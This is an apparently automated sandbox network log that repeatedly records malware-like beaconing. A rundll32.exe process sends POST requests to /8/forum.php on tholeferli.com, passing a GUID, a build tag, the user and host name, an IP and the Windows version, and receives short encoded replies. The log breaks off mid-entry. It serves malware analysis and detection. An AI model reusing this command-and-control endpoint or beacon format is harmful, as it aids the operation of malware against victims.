Jul 22, 2021 16:12:28.038038969 CEST	481	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 48 53 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTHSGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.22	49333	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:28.308907032 CEST	481	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:28.478202105 CEST	482	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 51 4a 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAQJZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.22	49334	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:28.748070955 CEST	482	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:28.917356014 CEST	483	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4d 4e 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGMNTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.22	49335	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:29.208460093 CEST	484	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:29.373975039 CEST	484	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 56 45 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGVETARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.22	49336	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:29.651611090 CEST	485	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:29.808022022 CEST	485	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 46 55 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQFUJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49184	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:10.542979002 CEST	314	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:10.699769020 CEST	314	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 59 42 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZYBAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.22	49337	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:30.087830067 CEST	486	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:30.242813110 CEST	486	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4a 51 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHJQSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.22	49338	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:30.519759893 CEST	487	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:30.688602924 CEST	487	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 47 54 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCGTXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.22	49339	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:30.951530933 CEST	488	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:31.118262053 CEST	488	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4e 4d 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJNMQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.22	49340	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:31.378842115 CEST	489	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:31.535861015 CEST	489	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 54 47 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHTGSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.22	49341	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:31.825335979 CEST	490	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:31.982024908 CEST	491	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 42 59 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFBYUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.22	49342	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:32.249089956 CEST	491	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:32.406642914 CEST	492	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4b 50 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMKPNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.22	49343	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:32.689807892 CEST	493	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:32.846988916 CEST	493	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 5a 41 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQZAJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.22	49344	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:33.128132105 CEST	494	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:33.296606064 CEST	494	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 48 53 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCHSXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.22	49345	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:33.578170061 CEST	495	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:33.747662067 CEST	495	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4b 50 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVKPEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.22	49346	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:34.034382105 CEST	496	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:34.205979109 CEST	496	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 46 55 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQFUJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49185	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:10.984551907 CEST	315	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:11.153819084 CEST	315	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 51 4a 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQQJJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.22	49347	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:34.498697042 CEST	497	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:34.654334068 CEST	497	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 47 54 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZGTAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.22	49348	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:34.935930967 CEST	498	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:35.091860056 CEST	498	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 5a 41 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBZAYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.22	49349	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
